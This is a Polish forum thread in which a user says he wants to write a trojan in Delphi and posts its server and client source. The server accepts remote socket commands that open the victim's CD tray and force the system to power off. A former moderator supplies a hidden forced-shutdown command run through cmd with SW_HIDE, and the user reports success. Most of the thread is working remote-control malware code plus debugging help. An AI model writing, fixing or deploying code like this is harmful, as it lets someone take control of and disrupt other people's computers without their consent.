Nie mogę znaleźć pdpowiedniego kodu - Proszę o pomoc

MacBak

Użytkownik
Dołączył
Luty 10, 2006
Posty
50
Chciałbym napisać w delphi trojana ale ale mam problem z zamykaniem systemu tzn. wszystko się ładnie kompiluje i niby jest dobrze ale po uruchomieniu programu i kliknięciu zamknij nic się nie dzieje. Mam ten kod w dwuch wersjach ale żadna nie zamyka systemu dlatego jak możecie to podrzućcie mi działający kod. Pokaże jak wyglądają moje kody w obu versjach. Z góry THX za pomoc.

Server( 1 versja )

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, Mmsystem;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure zmienne(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
s:string;

implementation
{$R *.dfm}

function SetPrivilege(privilegeName: string; enable: boolean): boolean;
var
tpPrev, tp: TTokenPrivileges;
token: THandle;
dwRetLen: DWord;

begin
result := False;
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, token);
tp.PrivilegeCount := 1;
if LookupPrivilegeValue(nil, pchar(privilegeName), tp.Privileges[0].LUID) then
begin
if enable then
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
tp.Privileges[0].Attributes := 0;
dwRetLen := 0;
result := AdjustTokenPrivileges(token, False, tp, SizeOf(tpPrev), tpPrev, dwRetLen);
end;
CloseHandle(token);
end;

procedure TForm1.zmienne(Sender: TObject; Socket: TCustomWinSocket);
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;
if (s='cdclose') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;
if (s='closesystem') then // jezeli przyjdzie zmienna 'closesystem' to wtedy:
begin
SetPrivilege('SeShutdownPrivilege', True);
ExitWindowsEx(EWX_POWEROFF or EWX_FORCE,0);
SetPrivilege('SeShutdownPrivilege', False);
end;
end;

end.
-----------------------------------

Server( 2 versja )

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, Mmsystem;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure zmienne(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
s:string;

implementation

{$R *.dfm}

function MyExitWindows(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd);
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,
False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired);
end;
end;
Result := ExitWindowsEx(RebootParam, 0);
end;

procedure TForm1.zmienne(Sender: TObject; Socket: TCustomWinSocket);
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;

if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;

if (s='cdclose') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;

if (s='closesystem') then // jezeli przyjdzie zmienna 'closesystem' to wtedy:
begin
MyExitWindows(EWX_POWEROFF or EWX_FORCE); // funkcja Ktora zamyka system.
end;
end;

end.
-------------------

Client

unit klient;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp;

type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
GroupBox1: TGroupBox;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
Button3: TButton;
Button4: TButton;
Button7: TButton;
Button8: TButton;
Button6: TButton;
Button5: TButton;
Button9: TButton;
Button10: TButton;
GroupBox4: TGroupBox;
Button11: TButton;
Button12: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Polaczony(Sender: TObject; Socket: TCustomWinSocket);
procedure Button7Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
clientsocket1.Address:=edit1.text; // adres ip servera do ktorego bedziemy sie laczyc
clientsocket1.active:=true; // To nam bedzie potrzebne do laczenia z serverem
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
clientsocket1.active:=false; // client ma sie rozlaczyc
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdopen'); // 'cdopen' jest to zmienna ktora klient wysyla do server
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdclose');
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
clientsocket1.socket.SendText('closesystem');
end;

procedure TForm1.Polaczony(Sender: TObject; Socket: TCustomWinSocket);
begin
ShowMessage('Klient Polaczony z Serverem ') // Wyskoczy nam okienko powiadomieniem
end;

end.
 

rafal

Były Moderator
Dołączył
Marzec 30, 2005
Posty
392
no to skorzystaj z shellexecute badz winexec i z cmd'owskiego shutdown'a :
dodaj do uses shellapi (w przyp. shellexecute)
shutdown
Kod:
ShellExecute(Handle, 'open', 'cmd.exe', '/c shutdown -s -f -t 00', 'c:', SW_HIDE);
restart
Kod:
ShellExecute(Handle, 'open', 'cmd.exe', '/c shutdown -r -f -t 00', 'c:', SW_HIDE);
restart z komentarzem
Kod:
linia:= '/c shutdown -r -f -c '+komentarz;

ShellExecute(Handle, 'open', 'cmd.exe', Pchar(linia), 'c:', SW_HIDE);
 

MacBak

Użytkownik
Dołączył
Luty 10, 2006
Posty
50
niestety nie pomogło mi to
<
Dokładnie tak samo się dzieje tzn kompiluje się ale nie działa jak klikam zamknij. A mój kod wygląda tak:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, Mmsystem, Shellapi;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure zmienne(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
s:string;

implementation
{$R *.dfm}

procedure TForm1.zmienne(Sender: TObject; Socket: TCustomWinSocket);
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;
if (s='cdclose') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;
if (s='closesystem') then // jezeli przyjdzie zmienna 'closesystem' to wtedy:
begin
ShellExecute(Handle, 'open', 'cmd.exe', '/c shutdown -s -f -t 00', 'c:', SW_HIDE);
end;
end;

end.
 

MacBak

Użytkownik
Dołączył
Luty 10, 2006
Posty
50
siemka
W końcu mi się udało :) . Usunąłem wszystko zrobiłem od nowa i poszło. Przypasował mi kod maSsa.Niewiem dlaczego przedtem nie działało ale ważne że teraz działa. Punkt dla ciebie maSs
<
 
Do góry Bottom